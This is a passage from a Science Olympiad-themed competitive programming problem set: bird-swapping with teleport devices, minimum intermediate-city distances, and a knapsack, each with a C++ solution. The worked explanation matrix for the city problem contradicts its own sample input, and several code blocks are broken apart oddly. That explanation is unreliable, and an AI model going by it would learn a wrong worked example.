In a strange turn of events, Titan and Tethys (Crystal's diamond doves) have become grandparents, and they have n grandchildren (where n is perhaps a fairly large, unrealistic number for birds). The two grandparents aren't particularly creative, so their n grandchildren are named 0 through $n-1$. At night, they are supposed to sleep in a row of beds, with 0 sleeping at the very left, 1 sleeping in the right-consecutive bed, and $n-1$ being all the way to the right. Unfortunately for Titan and Tethys, their grandchildren are rather unruly birds, and never get in the right order before bedtime. Titan and Tethys do not have the energy to move the birds themselves, but they have k teleportation devices, each with label (a_i, b_i), where the device can swap the locations of the birds at a_i and b_i. Given a set of teleportation devices, determine the number of birds in the wrong bed after correctly ordering as many birds as possible.

To simplify the problem, any given bed is only the target of a single device. In other words, if we take the set of all beds connected to a teleportation device, that set contains each bed only once.

Constraints

$0 \leq n, k \leq 10000$

Input Format

Line 1 contains n, the number of birds in the list, and k, the number of teleportation devices, separated by a space. Lines 2 through $n+1$ contain the initial order of the birds, from left to right. Lines $n+2$ through $k+n+1$ contain a_i and b_i separated by a space, where a_i and b_i describe the target of a device. Birds at locations a_i and b_i can be swapped.

Output Format

Print out the number of birds in the incorrect location after Titan and Tethys have placed as many birds in the correct location as possible.

Sample Input 0

```
5 1
0
2
1
3
4
1 2
```

Sample Output 0

```
0
```

Explanation 0

Titan and Tethys can use the one teleportation device to swap birds 1 and 2, which will correctly order the birds.

Solution:

```cpp
#include <bits/stdc++.h>
using namespace std;

int main(){
    int n, k;
    cin >> n >> k;
    int o[n], a, b;
    for(int i = 0; i < n; i++)
        cin >> o[i];
    for(int i = 0; i < k; i++){
        cin >> a >> b;
        if((o[a] == a) + (o[b] == b) < (o[a] == b) + (o[b] == a))
            swap(o[a], o[b]);
    }

    int ans = n;
    for(int i = 0; i < n; i++)
        ans -= o[i] == i;
    cout << ans << endl;

    return 0;
}
```

93. (30 points) **Your Invitational Season**

You are the coach of a Science Olympiad team, and you are currently registering for invitationals for this competition season. You have cities (where each invitational is located) numbered 1 through n, and you have all of the distances in a matrix, where the i, j^{th} entry is the distance between the i^{th} and j^{th} city. For all sets of two invitationals (a, b), you wish to find the third city v such that $d(a, v) + d(v, b)$ is minimized.

Constraints

$3 \leq n \leq 1000$

Input Format

Line 1 of the input is n, the number of cities.

Lines 2 through $n + 1$ contain the distances from one city to another. Specifically, line i contains n numbers, where the j^{th} number in line i is the distance between the $i - 1^{\text{th}}$ city and the j^{th} city.

Output Format

Print out one number, the sum of the distances for every unique trip involving A, B, C, where B is the middle city, and B is chosen to minimize $d(A, B) + d(B, C)$ as described earlier. Note that $A \to B \to C$ and $C \to B \to A$ are the same trip.

If the distance matrix does not make physical sense, return -99. Note that we must have $d(v, w) = d(w, v)$ and $d(v, v) = 0$ to be physically sensible.

Sample Input 0

```
4
0 3 5 1
3 0 2 4
5 2 0 1
1 4 1 0
```

Sample Output 0

```
27
```

Explanation 0

We obtain the matrix

$$\begin{pmatrix} \text{x} & 3 & 3 & 2 \\ 3 & \text{x} & 3 & 2 \\ 3 & 3 & \text{x} & 0 \\ 2 & 2 & 0 & \text{x} \end{pmatrix}$$

that contains the best city for the i, j^{th} pair. We then sum the distances for all unique pairs of cities.

Solution:

```
#include <bits/stdc++.h>
using namespace std;

```

```cpp
int main(){
    int n;
    cin >> n;
    int adj[n][n];
    for(int i = 0; i < n; i++)
        for(int j = 0; j < n; j++)
            cin >> adj[i][j];

    // verify adjacency matrix validity
    bool valid = 1;
    for(int i = 0; i < n; i++)
        for(int j = i; j < n; j++)
            valid &= (i == j ? adj[i][j] == 0 : adj[i][j] == adj[j][i]);
    if(!valid){
        cout << -99 << endl;
        return 0;
    }

    // find min dist for half of all pairs (removes overcounting)
    int ans = 0;
    for(int i = 0; i < n; i++)
        for(int j = i+1; j < n; j++){
            int best = INT_MAX;
            for(int k = 0; k < n; k++){
                if(k == i || k == j)
                    continue;
                best = min(best, adj[i][k] + adj[k][j]);
            }
            ans += best;
        }
    cout << ans << endl;

    return 0;
}
```

94. (40 points) **game SO**

It's the year 2030, and you are a Science Olympiad alumnus with nothing better to do with their time than reflect on their high school Science Olympiad experiences. You visit the National Science Olympiad website, looking for old photos and results, trying to relive your former glory, but to your intrigue, you discover that a new tournament format known as game SO has just been released. In game SO, each player controls a (virtual) team that competes in Science Olympiad tournaments. There are only T hours left before tournament day, and you want to use each of these hours wisely to improve your team.

You are given a list of m actions, each of which will improve your team by y_i points and take t_i hours to complete. (Points are an arbitrary metric in the game that quantifies team performance. The point is, you have to maximize it.) Find the maximum amount of points your team can improve by before competition day.

Constraints

$1 \leq m \leq 1000$

Input Format

Line 1 contains T and m separated by a space, the number of hours you have left before tournament day and the number of action types, respectively.

Each of lines 2 through $m+1$ contain t_i and y_i separated by a space, where t_i is the hours spent completing the i^{th} action, and y_i is the number of points earned from that action.

t

Output Format

Print out one integer, the maximum number of points you can earn before competition day.

Sample Input 0

```
7 4
1 1
3 4
4 5
5 7
```

Sample Output 0

```
9
```

Explanation 0

$4 + 5 = 9$ using the actions with times of 3 and 4.

Solution:

```cpp
#include <bits/stdc++.h>
using namespace std;

int main(){
    int T, m;
```

```
    cin >> T >> m;
    int t[m], y[m];
    for(int i = 0; i < m; i++)
        cin >> t[i] >> y[i];

    int dp[T+1];
    memset(dp, 0, sizeof(dp));

    for(int i = 0; i < m; i++)
        for(int j = T; j >= t[i]; j--)
            dp[j] = max(dp[j], dp[j-t[i]] + y[i]);

    int ans = 0;
    for(int i = 0; i <= T; i++)
        ans = max(ans, dp[i]);
    cout << ans << endl;

    return 0;
}
```